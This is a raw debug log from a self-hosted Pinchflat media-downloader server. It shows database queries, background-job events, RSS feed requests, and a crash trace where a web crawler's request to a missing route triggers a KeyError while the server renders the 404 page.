s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:13.518 [info] Sent 200 in 8ms 08:22:13.519 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:22:13.523 [info] Sent 200 in 13ms 08:22:37.565 [info] GET /sources/5/media/101230/edit 08:22:37.566 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101230", "source_id" => "5"} Pipelines: [:browser] 08:22:37.567 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=883.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101230] 08:22:37.568 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=884.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:37.568 [debug] QUERY OK source="settings" db=0.2ms idle=884.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:37.569 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=885.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:37.571 [info] Sent 200 in 6ms 08:22:37.757 [info] GET /sources/5/media/101673/edit 08:22:37.758 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101673", "source_id" => "5"} Pipelines: [:browser] 08:22:37.759 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=867.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101673] 08:22:37.759 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=192.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:37.760 [debug] QUERY OK source="settings" db=0.2ms idle=192.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:37.761 [debug] QUERY OK source="settings" db=0.2ms idle=192.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:22:37.763 [info] Sent 200 in 5ms 08:22:38.812 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.599 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:08.814 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:37.245 [info] GET /sources/5/media/101230 08:23:37.245 [info] GET /sources/5/media/100347/edit 08:23:37.245 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101230", "source_id" => "5"} Pipelines: [:browser] 08:23:37.245 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "100347", "source_id" => "5"} Pipelines: [:browser] 08:23:37.247 [debug] QUERY OK source="media_items" db=0.7ms idle=1562.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100347] 08:23:37.247 [debug] QUERY OK source="media_items" db=0.9ms idle=1562.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101230] 08:23:37.248 [debug] QUERY OK source="settings" db=0.4ms idle=1237.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:37.248 [debug] QUERY OK source="tasks" db=0.3ms idle=564.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101230] 08:23:37.249 [debug] QUERY OK source="sources" db=0.9ms idle=236.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:23:37.249 [debug] QUERY OK source="settings" db=0.8ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:37.250 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:37.252 [info] Sent 200 in 6ms 08:23:37.383 [debug] QUERY OK source="oban_jobs" db=133.7ms queue=0.1ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2470] 08:23:37.383 [debug] QUERY OK source="settings" db=0.2ms idle=135.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:37.384 [debug] QUERY OK source="settings" db=0.3ms idle=135.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:37.385 [debug] QUERY OK source="settings" db=0.5ms idle=135.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:37.387 [debug] QUERY OK source="media_profiles" db=0.3ms idle=136.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:23:37.391 [info] Sent 200 in 145ms 08:23:38.816 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:41.394 [info] GET /sources/5/media/100347 08:23:41.394 [info] GET /sources/f0312e2c-f3e9-4150-bc25-bdf8b2f50a84/feed.xml 08:23:41.394 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "f0312e2c-f3e9-4150-bc25-bdf8b2f50a84"} Pipelines: [:maybe_basic_auth] 08:23:41.394 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "100347", "source_id" => "5"} Pipelines: [:browser] 08:23:41.396 [debug] QUERY OK source="media_items" db=1.2ms idle=711.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100347] 08:23:41.397 [debug] QUERY OK source="tasks" db=0.4ms idle=713.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [100347] 08:23:41.397 [debug] QUERY OK source="sources" db=0.6ms idle=713.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:23:41.398 [debug] QUERY OK source="settings" db=0.2ms idle=377.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:41.398 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:41.416 [debug] QUERY OK source="sources" db=21.7ms queue=0.1ms idle=711.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["f0312e2c-f3e9-4150-bc25-bdf8b2f50a84"] 08:23:41.417 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=19.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:23:41.419 [debug] QUERY OK source="media_profiles" db=1.2ms idle=19.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:23:41.421 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=19.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 08:23:41.423 [info] Sent 200 in 29ms 08:23:41.531 [debug] QUERY OK source="source_metadata" db=99.7ms idle=32.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 08:23:41.567 [debug] QUERY OK source="media_metadata" db=35.7ms idle=114.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [805] 08:23:41.567 [info] Sent 200 in 173ms 08:23:46.696 [info] GET /sources/d934b279-6fe4-4585-b403-b41e71a8ae62/feed.xml 08:23:46.696 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d934b279-6fe4-4585-b403-b41e71a8ae62"} Pipelines: [:maybe_basic_auth] 08:23:46.697 [debug] QUERY OK source="sources" db=0.5ms idle=664.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d934b279-6fe4-4585-b403-b41e71a8ae62"] 08:23:46.705 [debug] QUERY OK source="media_items" db=7.7ms idle=14.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [5, 2000] 08:23:46.729 [debug] QUERY OK source="source_metadata" db=0.1ms idle=45.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [5] 08:23:46.755 [debug] QUERY OK source="media_metadata" db=26.4ms idle=46.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102593] 08:23:46.757 [info] Sent 200 in 60ms 08:24:00.600 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:08.818 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:23.232 [info] GET /sources/1/force_metadata_refresh 08:24:23.233 [info] GET /sources/1/sync_files_on_disk 08:24:23.234 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=550.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:23.234 [debug] QUERY OK source="settings" db=0.3ms idle=550.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:23.234 [debug] QUERY OK source="settings" db=0.3ms idle=551.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:23.234 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:24:23.235 [debug] QUERY OK source="settings" db=0.2ms idle=551.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:23.235 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:24:23.235 [error] #PID<0.274135.0> running PinchflatWeb.Endpoint (connection #PID<0.274134.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274134.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58778}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274135.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFs5dIEpE0r0YEAM38C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274134.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58778}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274134.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58778}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274135.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 08:24:23.235 [error] #PID<0.274137.0> running PinchflatWeb.Endpoint (connection #PID<0.274136.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET 